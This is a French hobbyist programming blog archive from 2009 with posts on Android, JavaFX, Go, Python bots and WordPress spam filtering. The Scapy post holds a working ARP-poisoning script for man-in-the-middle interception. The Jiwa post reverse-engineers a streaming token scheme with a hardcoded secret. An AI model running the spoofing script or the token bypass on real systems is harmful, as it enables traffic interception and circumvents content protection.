Archive pour le ‘Programmation’ catégorie

Mon Application Android pour les horaires de la CTS

13 décembre 2009

Amis Strasbourgeois bonsoir …
Après un WE chargé sur Strasbourg, j’ai remarqué que la Compagnie des Transports de Strasbourg (CTS) avais mis en place un site web intéressant en temps réel (semble-t-il) pour calculer les horaires des BUS/Trams du réseau urbain.

L’autre partie du service « Temps Réel » se fait par SMS par envoi du code de la station à un numéro surtaxé … :s. Ayant un forfait 3G, je vais pas claquer un SMS surtaxé si je peux accéder au web gratuitement (quel radin ;) ), mais le site est assez bof depuis mon navigateur, et c’est assez lent …

Ayant acheté un G1 dans le but de dev des applis, j’en ai profité pour faire ce que je sais (apparemment) faire de mieux … parser des sites web pour en extraire des informations, dans ce cas précis, les horaires des transports en commun.

L’application ressemble à ceci : (super moche je sais, mais elle fait sont boulot … c’est l’essentiel).

android-CTSPour le code source, j’ai tenté de faire au plus simple (traduction : le code est aussi beau que le screenshot fournit plus haut ^^, pour ma décharge, je dirais que j’ai tout mis dans un fichier histoire de ne pas à avoir trop de fichier à fournir ici).

Si vous avez des idées pour améliorer l’appli je suis open ;) (à part si c’est pour me recycler et changer de métier :s). Je pense changer l’appli en widget (si j’ai le temps …).
» En lire plus:Mon Application Android pour les horaires de la CTS

Mon apprentissage de python avec Ogame ^^

3 décembre 2009

The kikoolol strike back !! Mon deuxième billets de la soirée …pour pas grand chose en fait.

J’ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame … rien d’illégal bien entendu ^^.
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :

  • Les requêtes HTTP en python avec des headers à partir de zéro
  • Les Threads pour les opérations en parallèle
  • Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)

Pour l’utiliser, il suffit ensuite d’ajouter au source qui vont suivre :

  1. og = Ogame()
  2. og.setSessionCookie(
  3.  "le contenu du cookie phpsessid de votre univers",
  4.  "le contenu du cookie prssess de votre univers",
  5.  "le contenu du cookie loginC de votre univers",
  6.  "le parametre de l'url &session=…",
  7.  "uniXX.ogame.fr"votre#univers
  8. )
  9. Farmer.buildInChainsPlanets(og,["id planete","id planete"],[[4,1,2,4,1,2,4,1,2,4],[4,1,2,4,1,2,4,1,2,4]])

le premier paramètre de buildInChainsPlanets est l’objet og
le second est un tableau de string contenant l’id des planètes à « farmer »
le troisième est un tableau de tableau contenant les séquences des batiments à construire :
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l’electricite.

Et voilà … lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).
» En lire plus:Mon apprentissage de python avec Ogame ^^

Checker la validité d’une adresse mail en PHP via SMTP

3 décembre 2009

plopinou …

Il arrive toujours un jour où l’on doit checker la validité d’une adresse mail de façon sûr (plus qu’une simple vérification sur la validité du nom de domaine).
Pour ce faire il faut directement se connecter sur le SMTP du domaine de l’adresse mail via un socket en PHP et envoyer l’adresse mail à checker.
» En lire plus:Checker la validité d’une adresse mail en PHP via SMTP

Mumuse avec GOLang …

1 décembre 2009

Depuis pas mal de temps déjà, Google a release un langage qui se veut simple, puissant … et tout et tout.

Pour savoir un peut ce que ça vaut, j’ai donc installé la bête, et fait un test basique : connexion HTTP/parsing regexp.

» En lire plus:Mumuse avec GOLang …

Exemple de Bot d’Authentification et de clic en Php

20 octobre 2009

Bonjour à tous …

Aujourd’hui ze bot « cliqueur » ^^, il s’agit en fait d’un bot qui s’authentifie en POST, récupère le cookie et va en get sur un lien (le clic quoi).

A quoi ça peut bien servir ?

Pour ma part, c’était pour récupérer une clé pour la closed beta de HON (un Dota avec des binaires pour linux, fallait pas rater ça!!) sur le site de Alienware, le problème, c’est que les clés étaient censé être disponible soit très tard dans la soirée, soit très tôt dans la matinée, et comme je n’aimais pas l’idée de rester sur le site à poireauter, j’ai fait ce que tout programmeurs auraient fait ^^, un sympatique script …

Les actions à faire étaient :

  1. Regarder sur le site si le nombre de clés disponibles étaient supérieur à 0
  2. S’authentifier
  3. Récupérer les clés

Ce qui donne donc le script suivant en tâche Cron toutes les 5 minutes (fallait juste pas oublier de couper le script après réception des clés ^^) :

  1. <?php
  2. define("USERNAME","login");
  3. define("PASSWORD","pass");
  4. define("MAILADRES","mail@mail.com");
  5. $stringLoginPost="username=".USERNAME."&password=".PASSWORD;
  6.  
  7. /***********************************************DO NOT TOUCH**************************************************/
  8. $hon = file_get_contents("http://www.alienwarearena.com/event/hon-beta-giveaway/");
  9.  
  10. preg_match('|<h3[^>]*>Closed Beta Keys Remaining</h3>[\W\w]*<h1[^>]*>([0-9]+)</h1>|iU',$hon,$retour);
  11.  
  12. if($retour[1]!=0)
  13. {
  14.  $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  15.  if(socket_connect($socket,"www.alienwarearena.com","80"))
  16.  {
  17.  //La requete de post pour ce logger
  18.   $postReq = "POST /cmd/account/login/ HTTP/1.1\r\n";
  19.   $postReq.= "Host: www.alienwarearena.com\r\n";
  20.   $postReq.= "Connection: Keep-Alive\r\n";//comme ça on se reconnecte direct ;) Pipelinning ROXX!!
  21.   $postReq.= "Content-type: application/x-www-form-urlencoded\r\n";
  22.   $postReq.= "Content-Length: ".strlen($stringLoginPost)."\r\n\r\n";
  23.   $postReq.= $stringLoginPost."\r\n";
  24.   socket_write($socket,$postReq);
  25.   socket_recv($socket,$retour,1024,0);
  26.  //la récupération de la valeur du cookie
  27.   preg_match("#Set-Cookie: PHPSESSID=([^;]*); path=/#",$retour,$tabRet);
  28.  //On va à la page de récupération des clés ^^
  29.   $getReq = "GET /cmd/account/get-beta-key/hon/ HTTP/1.1\r\n";
  30.   $getReq.= "Host: www.alienwarearena.com\r\n";
  31.   $getReq.= "Cookie: PHPSESSID=".$tabRet[1]."\r\n";
  32.   $getReq.= "Connection: Close\r\n\r\n";
  33.   socket_write($socket,$getReq);
  34.   socket_recv($socket,$retour,1024,0);
  35.  
  36.   mail(MAILADRES,"HON KEY!!","You got an HON KEY : ".$retour);
  37.  }
  38.         socket_close($socket);
  39. }
  40. ?>

Donc voilà … le script reste une idée (qui a fonctionné dans mon cas) à modifier selon les cas, avec curl ça aurait été plus court, mais faire mumuse avec les sockets ça n’a pas de prix …

Youtube et JavaFX via MediaView

11 octobre 2009

Bijour …

Je suis encore et toujours en train de m’amuser avec JavaFX, et comme je suis un gros noob et que j’ai rien réussi à faire avec Jiwa (et que deezer ne me file toujours pas de clé pour leur API), j’ai décidé de me tourner vers Youtube qui fournit une API ( les clés pour leur API ne semblent pas à servir pour grand chose, l’essentiel de l’API (un fichier XML/ATOM) étant accessible sans être identifié …).

L’appli finale ressemble étrangement à celle crée pour Jiwa, à la seul différence qu’elle embarque un lecteur vidéo (depuis l’API 1.2.1 de javaFX il est possible de jouer des flux rtsp … le support est donc encore un peu chaotique (il manque des codec) : la vidéo joue sans le son ou l’inverse, le chargement du média s’effectue mais il n’arrive pas à le lire …, certaine fonction lié au média ne fonctionne pas (onStalled et onBuffering)).

La tête de l’application finale (super moche … encore un concept) :

youtubeFX

Néanmoins malgrès tout les problèmes du support vidéo streaming, l’effet escompté est bien là … la lecture de la vidéo bouffe beaucoup moins de ressource (faut dire que la vidéo est au format mpeg4-sp (176*140) pour les téléphones portable donc … ;) ).

La recherche des vidéos est effectuée en XML, j’aurais bien voulu utiliser l’objet AtomTask pour récupérer les données contenues dans le XML renvoyé par Youtube, mais malheureusement, dans leur API (celle de javaFX, pas de YouTube ^^), ils n’ont pas prévue qu’il puisse y avoir plusieurs médias dans le « content », donc j’ai du le parser à la main et faire un beau hack pour choper le flux.

Sur le plan technique, au lieu d’utiliser le MediaView, j’aurai pu utiliser la technique de Rakesh Menon en affichant une page web avec le player « chromeless de youtube » via l’API JS, mais ça aurait enlevé l’intêret de l’application puisque le but est de se débarasser du lecteur Flash.

Le temps de développement est super court (j’ai du mettre plus de temps à écrire l’article sur le blog qu’à developper l’appli ;) ), par contre, y’a déjà pas mal de hack pour rendre l’appli plus rapide/réactive, et il n’y a malheureusement aucune fonction qui permettent de déterminer si on charge la vidéo ou non (le onBuffering ne fonctionne pas :s).

Donc c’est assez naze d’avoir une appli de streaming sans état d’avancement dans le chargement du média mais comme y’a pas grand chose en français sur JavaFX et les média … je post le code (en espérant que le support de Java soit meilleur plus tard ^^) :

/*
  1.  * Main.fx
  2.  *
  3.  * Created on 9 oct. 2009, 20:18:51
  4.  */
  5.  
  6. package youtubefx;
  7.  
  8. import javafx.stage.Stage;
  9.  
  10. import javafx.scene.Scene;
  11. import javafx.scene.text.Text;
  12. import javafx.scene.media.MediaPlayer;
  13. import javafx.data.pull.PullParser;
  14. import javafx.io.http.HttpRequest;
  15. import javafx.data.pull.Event;
  16. import javafx.scene.control.Button;
  17. import javafx.scene.control.TextBox;
  18. import javafx.scene.layout.VBox;
  19. import javafx.scene.layout.HBox;
  20. import javafx.scene.control.ListView;
  21. import javafx.ext.swing.SwingListItem;
  22. import javafx.scene.input.MouseEvent;
  23. import javafx.scene.media.MediaView;
  24. import javafx.scene.media.Media;
  25. import javafx.scene.control.ProgressBar;
  26. import javafx.scene.Group;
  27. import javafx.scene.shape.Rectangle;
  28. import javafx.scene.paint.Color;
  29. import javafx.scene.CustomNode;
  30. import javafx.scene.Node;
  31.  
  32. /**
  33.  * @author Gaetan Grigis
  34.  */
  35. class Splash extends CustomNode {
  36.     var rect = Rectangle {x:0,y:0,width: 400,height: bind scene.height,fill: Color.BLACK};
  37.     var txt = Text{content: "Hello this is just a simple test to use MediaView\n"
  38.                           "and MediaPlayer with Youtube\n \n"
  39.                           "As the support of streaming by JavaFX is new\n"
  40.                           "sometimes it crash or doesn't work as expected\n"
  41.                           "because of unsupported codec (video or music\n"
  42.                           "isn't played in this case …)\n \n"
  43.                           "(Click somewhere here to close this …\n"
  44.                           "and try this …)",x: 50,y: 50,fill: Color.AQUAMARINE};
  45.     var groups = Group {
  46.         content: [rect,txt],
  47.         onMouseClicked: function( e: MouseEvent ):Void {rect.width=0;txt.content="";txt.x=0;txt.y=0}
  48.     }
  49.  
  50.     override function create():Node {return groups;}
  51. }
  52. var item : SwingListItem[] = [];
  53. var xml : PullParser = PullParser {documentType: PullParser.XML};
  54. var mus = [];
  55. //UI items
  56. var scene = Scene {width: 400,height: 250};
  57. var searchTxt = TextBox{width:bind (scene.width276),text: "Type your text .."};
  58. var searchBtn = Button{text: "Search",width: 100,action: function(){searchItem(searchTxt.text)};};
  59. var listView : ListView = ListView{width:bind (scene.width-176),height: bind (scene.height – searchTxt.height),items: bind item};
  60. var SearchBox = HBox {content: [searchTxt,searchBtn],width: bind scene.width};
  61. var PlayBox = VBox{content:[SearchBox,listView],width: bind (scene.width176),height: bind scene.height};
  62. var player = MediaPlayer{autoPlay:true};
  63. var info = Text {content: bind "{player.currentTime.toSeconds()}/{player.media.duration.toSeconds()} Sec.\nStatus : {player.status}\nClick on the progressBar\nif it doesn't start\n\tStatus 2 = playing\n\tStatus 0 = Loading/Crashed", };
  64. var pg = ProgressBar{progress: bind ProgressBar.computeProgress(player.media.duration.toSeconds(),player.currentTime.toSeconds()),onMouseClicked:function(e:MouseEvent){if(player.status!=2){player.play();}else{player.pause();}}};
  65. scene.content = HBox{content:[Splash{},PlayBox,VBox{content: [MediaView{visible:true, cache: true, mediaPlayer: player},info,pg]}]};
  66.  
  67. function searchItem(search: String)
  68. {
  69.     item = [];//on reset à la barbare ;)
  70.     var connexion : HttpRequest = HttpRequest {
  71.         method: HttpRequest.GET
  72.         location: "http://gdata.youtube.com/feeds/api/videos?v=2&amp;lr=en&amp;format=6&amp;orderby=published&amp;safeSearch=strict&amp;q={search}&amp;max-results=50"
  73.         onInput: function(is: java.io.InputStream) {
  74.             try {
  75.                 xml.input = is;
  76.                 var it = SwingListItem{};
  77.                 var i  = 0;
  78.                 xml.onEvent = function(event: Event) : Void{
  79.                     if( event.qname.prefix == "media" )
  80.                     {
  81.                         if(event.qname.name == "content" and event.typeName == "START_ELEMENT" and event.getAttributeValue("type") == "video/3gpp" )
  82.                         {
  83.                             //can't get the yt:format, so as we know that mpeg is second we just increment …
  84.                             it.value = event.getAttributeValue("url");
  85.                             i++;
  86.                         }
  87.                         if(event.qname.name == "title" and event.text!="" and event.typeName == "TEXT"){it.text = event.text;}
  88.                         if(it.text !="" and it.value!="" and i &gt; 1 ){
  89.                             insert it into item;it = SwingListItem{};
  90.                         }
  91.                     }
  92.                 };
  93.                 xml.parse();
  94.             } finally {is.close();}
  95.         }
  96.     };connexion.start();
  97. }
  98.  
  99. listView.onMouseClicked = function (e:MouseEvent):Void{
  100.     player.stop();
  101.     listView.disable=true;
  102.     //hack to stop playing while another is loading
  103.         player.media.source = null;
  104.         player.media = null;
  105.     player.media = Media{source:item[listView.selectedIndex].value.toString(),};
  106.     player.play();
  107.     listView.disable=false;
  108. }
  109. Stage {title: "ytFX",scene: scene,onClose:function(){player.pause();player.media.source = null;player.media = null;}}

Comme dit, le code est moche, y’a du hack partout plein de syntaxe différente pour des trucs similaires …

Tor Proxy et randomiser le choix des serveurs de sorties

7 octobre 2009

Bonjour,

Je n’utilise plus le logiciel tor depuis que je suis tombé sur le sympatique tortunnel de Moxie qui permet d’avoir un débit super intéressant par rapport à tor (tout en gardant le chiffrement, mais en perdant les intermédiaires … et donc une partie de l’anonymat, mais tant que la connexion passe par un autre pays ;) ), l’un des problèmes étant le fait que le logiciel plante quelque fois (ou la connexion est coupée après un certain temps ou débit).

Donc tout d’abord le logiciel, il faut soit le compiler soit installer le paquet qui se trouve sur mon dépôt :

sudo add-apt-repository ppa:cipher.16/ppa
sudo apt-get update && sudo apt-get install tortunnel

Ensuite, il faut récupérer la liste des sorties de tor ayant un débit intéressant, un csv est dispo sur blutmagie, mais je voulais réviser le langage perl … ce qui donne :

  1. #!/usr/bin/perl
  2. # Create a user agent object
  3. require HTTP::Request;
  4. use LWP::UserAgent;
  5.  
  6. # Create a request
  7. my $req = HTTP::Request->new(GET => "http://torstatus.kgprog.com/index.php?SR=Bandwidth&amp;SO=Desc");
  8.  my $ua = LWP::UserAgent->new;
  9.  $ua->agent("Firefox/4.0");
  10. my $res = $ua->request($req);
  11. if ($res->is_success) {
  12.  my $text = $res->content;
  13.         my $recherche = "ip=([0-9.]*).*<td><img src='img/status/Exit.png' title='Exit Server' alt='Exit Server' /></td>";
  14.  while($text =~ m/($recherche)/g)
  15.  {
  16.   print $2."\n";
  17.   pos($text)+1;
  18.  }
  19. } else {
  20.    print "Le site est HS :s\n";
  21. }

On enregistre le fichier (pour moi tor.pl), on execute et on lance le proxy :

  1. perl tor.pl > /tmp/tor.txt && while true; do torproxy `cat /tmp/tor.txt |head -10 |tail -n $(expr ${RANDOM}|> % 10)|head -1`; done;

Et hop, ici on choisit un serveur parmis les 10 premiers, et on l’assigne à torproxy … etvoilà, profitez d’un anonymat (relatif) à la vittesse de votre ligne adsl (ou presque ^^).

Jouer avec JavaFX, JSON, HTTP et Jiwa

3 octobre 2009

Bijour,

Au commencement de mon blog Dieu créa la terre, le ciel, linux, javaFX venait de sortir et j’avais publié quelques liens intéressant sur la bestiole, mais j’avais pas fait grand chose avec.

Aujourd’hui … j’ai essayé de faire un player musical version Desktop du genre Spotify en JavaFX (parce que Deezer ou Jiwa font pas mal ramer les machines utilisant flash sous linux), une appli qui devait se fournir sympatiquement en musique chez Jiwa.

Plantage du décors et quelques avancement du soft :

La recherche de titres, d’albums ou artistes se fait via une requête en post à l’url http://www.jiwa.fr/track/search, et la réponse est de type :

{« page »:[
  1. {"trackId":133337,
  2. "songId":1337,
  3. "songName":"les kikoolols attaquent!!",
  4. "artistId":51337,
  5. "artistName":"KikoololMaster",
  6. "secArtistsNames":null,
  7. "albumId":7331,
  8. "albumName":"Les Kikoolols vaincront",
  9. "songPopularity":69,
  10. "itunesTrackUrl":null,
  11. "albumReleaseDate":"1969-01-01",
  12. "duration":"404",
  13. "hidden":"0",
  14. "sourceId":null}],
  15. "total":1,
  16. "min":0,
  17. "max":1,
  18. "pageSize":25,
  19. "success":true}

Il faut donc faire la requête http POST, avec le paramètre Q = notre recherche :

var connexion : HttpRequest = HttpRequest {
  1.         method: HttpRequest.POST
  2.         location: locationSearch
  3.         onOutput: function(os: java.io.OutputStream) {
  4.             var urlConverter = URLConverter{};
  5.             var pair = Pair {name: "q",value: "Les kikoo roxe !!"};
  6.             var encodedMessage = urlConverter.encodeParameters([pair]);
  7.             os.write(encodedMessage.getBytes());
  8.             os.close();
  9.         }
  10.         onInput: function(is: java.io.InputStream) {
  11.             //récupération du JSON
  12.         }
  13.     };connexion.start();

Rien de complexe jusque-là … on récupère donc notre JSON, grâce à l’objet PullParser :

try {
  1.                 json.input = is;
  2.                 var tmpElmt = "";
  3.                 var i=0;
  4.                 json.onEvent = function(event: Event) : Void{
  5.                     if( event.type == PullParser.TEXT ){
  6.  
  7.                         if(event.name == "artistName"){tmpElmt.concat(event.text);}
  8.                         else if (event.name == "artistName"){tmpElmt=tmpElmt.concat("Artiste : {event.text.trim()} ");i++;}
  9.                         else if (event.name == "albumName"){tmpElmt=tmpElmt.concat("Album : {event.text.trim()} ");i++;}
  10.                         else if (event.name == "songName"){tmpElmt=tmpElmt.concat("Titre : {event.text.trim()} ");i++;}
  11.                         if(i==2){insert tmpElmt.replaceAll("\n", "").trim() into item;i=0;tmpElmt="";}
  12.                     }
  13.                 };
  14.                 json.parse();
  15.             } finally {is.close();}

On récupère donc le nom de l’album, du chanteur et le titre de la chanson (les autres paramètres sont pour plus tard) et on l’insert dans un tableau nommé « mus » ….

Le problème pour la suite, c’est la récupération de la chanson, qui se passe en deux étapes : la récupération des informations liées au songId et la récupération du mp3.

Grâce au songId l’on vient de choper dans le JSON, on a accès à l’étape suivante via une requête POST à l’url http://m.jiwa.fm/token.php où l’on envoit le paramètre s avec l’id « songId » retourné dans le JSON plus haut, ce qui donne comme réponse un string de la forme : « unMD5=8 chiffres=un zero=7 chiffres=3 chiffres », ce qui permet apparement de crée l’url de téléchargement de la chanson :

http://m.jiwa.fm/play.php?r=8 chiffres&s=le songId&t=un md5&m=7 chiffres&from=0, qui renvoit direct le mp3 ou -1 si les paramètres ne sont pas bon :s

Le gros problème étant que le md5 retourné par token.php, n’est pas celui à fournir dans l’url du play.php.

Il faut donc ouvrir le player swf ( ou se baser sur iJaw pour les flemmards comme moi ) pour choper la « clé », et récupérer le flux.

Le code complet en javaFX (pour le moment ^^, permet de récupérer le flux, et de le lire … en executant le jar!!! Via une compilation direct depuis netbeans, il ne trouve pas le mp3) :

/*
  1.  * Main.fx
  2.  *
  3.  * Created on 3 oct. 2009, 13:07:02
  4.  */
  5.  
  6. package jiwafx;
  7.  
  8. import javafx.stage.Stage;
  9. import javafx.scene.Scene;
  10. import javafx.io.http.HttpRequest;
  11. import javafx.io.http.URLConverter;
  12. import javafx.data.Pair;
  13. import javafx.scene.control.ListView;
  14. import javafx.ext.swing.SwingListItem;
  15. import javafx.data.pull.PullParser;
  16. import javafx.data.pull.Event;
  17. import javafx.scene.control.Button;
  18. import javafx.scene.control.TextBox;
  19. import javafx.scene.layout.VBox;
  20. import javafx.scene.layout.HBox;
  21. import javafx.io.http.HttpHeader;
  22. import javafx.scene.input.MouseEvent;
  23. import javafx.scene.media.MediaPlayer;
  24. import javafx.scene.media.Media;
  25. import java.io.BufferedReader;
  26. import java.io.InputStreamReader;
  27. import java.io.BufferedWriter;
  28. import java.io.FileWriter;
  29. import java.io.FileOutputStream;
  30. import java.io.BufferedInputStream;
  31. import java.io.InputStream;
  32.  
  33. /**
  34.  * @author cipher16
  35.  */
  36. //Global var
  37. var item : SwingListItem[] = [];
  38. var mus = [];
  39. //UI items
  40. var scene = Scene {width: 250,height: 250};
  41. var searchTxt = TextBox{width:bind (scene.width100),text: "Entrer votre recherche"};
  42. var searchBtn = Button{text: "Rechercher",width: 100,action: function(){searchAlbum(searchTxt.text)};};
  43. var listView : ListView = ListView{width:bind scene.width,height: bind (scene.height – searchTxt.height),items: bind item};
  44. var SearchBox = HBox {content: [searchTxt,searchBtn],width: bind scene.width};
  45. var player = MediaPlayer{autoPlay:true,onBuffering:function(d){println("Encore :  {d}")}};
  46. scene.content = VBox{content:[SearchBox,listView],width: bind scene.width,height: bind scene.height}
  47.  
  48. function launchDl(url:String) : Void
  49. {
  50.     var ua = HttpHeader{name:"User-Agent",value:"Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3"};
  51.     HttpRequest {
  52.         method: HttpRequest.GET
  53.         headers: [ua]
  54.         location: url
  55.         onInput: function(is: java.io.InputStream) {
  56.             var file = new FileOutputStream('jiwa.mp3');
  57.             while(is.available()&gt;0){
  58.                 file.write(is.read());
  59.             }
  60.             is.close();
  61.         }
  62.         onDone:function(){player.media = Media{source:"{__DIR__}jiwa.mp3"};player.play(); }
  63.     }.start();
  64. }
  65.  
  66. function getToken(id:String)
  67. {
  68.     var ret="";
  69.     var referer = HttpHeader{name:"Referer",value:"http://www.jiwa.fm/res/widget/LightPlayer.swf?=1255325694463"};
  70.     var ua = HttpHeader{name:"User-Agent",value:"Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3"};
  71.     HttpRequest {
  72.         method: HttpRequest.POST
  73.         headers: [referer,ua]
  74.         location: "http://m.jiwa.fm/token.php"
  75.         onOutput: function(os: java.io.OutputStream) {
  76.             var urlConverter = URLConverter{};
  77.             var pairS = Pair {name: "s",value: id};
  78.             var encodedMessage = urlConverter.encodeParameters([pairS]);
  79.             os.write(encodedMessage.getBytes());
  80.             os.close();
  81.         }
  82.         onInput: function(is: java.io.InputStream) {
  83.             var buff = new BufferedReader (new InputStreamReader(is));
  84.             var line = "";
  85.             while((line = buff.readLine())!=null){
  86.                 ret="{ret}{line}";
  87.             }
  88.             is.close();
  89.         }
  90.         onDone: function()
  91.         {
  92.             launchDl(getTrackUrl(ret,id));
  93.         }
  94.  
  95.     }.start();
  96. }
  97.  
  98. function getTrackUrl(token:String,sid:String)
  99. {
  100.  var t_vals = token.split("=");
  101.         var url="";
  102.         if(t_vals.length&gt;0)
  103.         {
  104.             var a = MD5.toHex('gwqd29ydg7sqys_qsh0');
  105.             var b = MD5.toHex("{t_vals[0]}{a}{sid}");
  106.             url = "http://m.jiwa.fm/play.php?r={t_vals[1]}&amp;s={sid}&amp;t={b}&amp;m={t_vals[3]}&amp;from=0";
  107.         }
  108.         return url;
  109. }
  110.  
  111. function searchAlbum(search: String)
  112. {
  113.     item = [];//on reset à la barbare ;)
  114.     HttpRequest {
  115.         method: HttpRequest.POST
  116.         location: "http://www.jiwa.fr/track/search"
  117.         onOutput: function(os: java.io.OutputStream) {
  118.             var urlConverter = URLConverter{};
  119.             var pair = Pair {name: "q",value: search};
  120.             var encodedMessage = urlConverter.encodeParameters([pair]);
  121.             os.write(encodedMessage.getBytes());
  122.             os.close();
  123.         }
  124.         onInput: function(is: java.io.InputStream) {
  125.             try {
  126.                 var json : PullParser = PullParser {documentType: PullParser.JSON,input:is};
  127.                 var tmpElmt = "";
  128.                 var i=0;
  129.                 var it = SwingListItem{};
  130.                 json.onEvent = function(event: Event) : Void{
  131.                     if( event.type == PullParser.TEXT or event.type == PullParser.INTEGER or event.type == PullParser.NUMBER ){
  132.                         if (event.name == "artistName"){tmpElmt=tmpElmt.concat("Artiste : {event.text.trim()} ");i++;}
  133.                         else if (event.name == "albumName"){tmpElmt=tmpElmt.concat("Album : {event.text.trim()} ");i++;}
  134.                         else if (event.name == "songName"){tmpElmt=tmpElmt.concat("Titre : {event.text.trim()}");i++;}
  135.                         else if (event.name == "songId"){i++;it.value="{it.value};{event.integerValue}"}
  136.                         else if (event.name == "artistId"){i++;}//Lol xD Da Kikoolol Attack!!!
  137.                         else if (event.name == "trackId"){i++;it.value="{event.integerValue}"}
  138.                         if(i&gt;=6){ it.text=tmpElmt.replaceAll("\n", "").trim(); insert it into item;i=0;tmpElmt="";it=SwingListItem{};}
  139.                     }
  140.                 };
  141.                 json.parse();
  142.             } finally {is.close();}
  143.         }
  144.     }.start();
  145. }
  146.  
  147. listView.onMouseClicked = function(e:MouseEvent){
  148.     player.stop();
  149.     player.media.source = null;
  150.     player.media = null;
  151.     var ids = item[listView.selectedIndex].value.toString().split(";");
  152.     getToken(ids[1]);
  153. }
  154.  
  155. Stage {title: "JiwaFX",scene: scene}

Et tire cette tête là une fois executé (avec une recherche sérieuse) :

CaptureCe qui est pas trop mal pour un début … j’essaierais de faire la même chose pour deezer, avec la clé de l’API cette fois … histoire de réussir un truc plus abouti^^. J’ai juste posté le code pour aider les nouveaux en JavaFX (pour l’utilisation de requêtes POST en HTTP, très mal documenté par SUN et sur le parsing JSON, encore plus mal documenté …).

Le code est assez crade, car on est obligé d’attendre la fin (probable) de deux évènements (le chargement des deux pages token et play) pour lancer la musique.

L’un des gros problèmes actuel, c’est que Jiwa rejette les User-Agent en Java, ce qui fait que l’on ne peut pas directement filer l’url retourné par la fonction à la source du media, d’où l’obligation de passer par un fichier temporaire.

Voilà, amusez-vous bien

try {
json.input = is;
var tmpElmt = «  »;
var i=0;
json.onEvent = function(event: Event) : Void{
if( event.type == PullParser.TEXT ){

if(event.name == « artistName »){tmpElmt.concat(event.text);}
else if (event.name == « artistName »){tmpElmt=tmpElmt.concat(« Artiste : {event.text.trim()} « );i++;}
else if (event.name == « albumName »){tmpElmt=tmpElmt.concat(« Album : {event.text.trim()} « );i++;}
else if (event.name == « songName »){tmpElmt=tmpElmt.concat(« Titre : {event.text.trim()} « );i++;}
if(i==2){insert tmpElmt.replaceAll(« \n », «  »).trim() into item;i=0;tmpElmt= »";}
}
};
json.parse();
} finally {is.close();}

Scapy pour forger des paquets en python

6 septembre 2009

Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
  1. from scapy.all import *
  2. import sys
  3. if len(sys.argv) != 3:
  4.         print "Usage: %s ip1 ip2" % sys.argv[0]
  5.         sys.exit(1)
  6.  
  7. def arppoiso(routeur,pigeon):
  8.         mac = getmacbyip(routeur)
  9.         p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
  10.         sendp(p, iface_hint=routeur)
  11.  
  12. arppoiso(sys.argv[1],sys.argv[2])
  13. arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;) ).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :

Marre du spam sur wordpress ??

8 juin 2009

Plopinou …

Une rapide technique pour baisser d’un nombre assez important le spam sur un blog wordpress, en profitant de la gentillesse des spammers ^^.
En effet, la plupart du temps :

  • les ip tournent (donc impossible de bannir toutes les ip)
  • les adresses mails sont générées à la volées et comme c’est sur le domaine de gmail, bannir le domaine est impossible
  • Les commentaires changent …

Il reste donc une information qu’ils donnent, et qu’ils ne semblent pas changer … l’url de leurs sites, qui terminent toujours par « map.html » … sympa non ??

Donc pour leurs envoyer un message plein d’amour et de paix on peut gentillement modifier le fichier wp-comments-post.php : (après la ligne 38)

if(preg_match(&quot;#^.*/map.html$#&quot;,$comment_author_url))
die(&quot;Go home and die!!!&quot;);

Et voilà … 90% du spam de vos blogs devraient disparaitre. (reste plus qu’à trouver un filtre pour les casinos et on héradique toutes forme de spam sur les blogs ^^ (pas complexe je pense, mais ça fait un bail que j’en ai plus chopé donc je peux pas créer la regexp :D ) ).

Petite note : J’ai testé le code ci-dessous pendant une journée et ma liste de commentaires indésirables est encore vide … ce qui est un miracle !!! Je chopais entre 25 et 50 spams par jour … (ok c’est pas beaucoup … mais c’est quand même ça de moins).

EDIT : Ne pas oublier de refaire la modification, après une mise à jour de wordpress (comme tous les fichiers sont réecrit, on perd les modifications et on remarque tout de suite le spam qui revient ;) )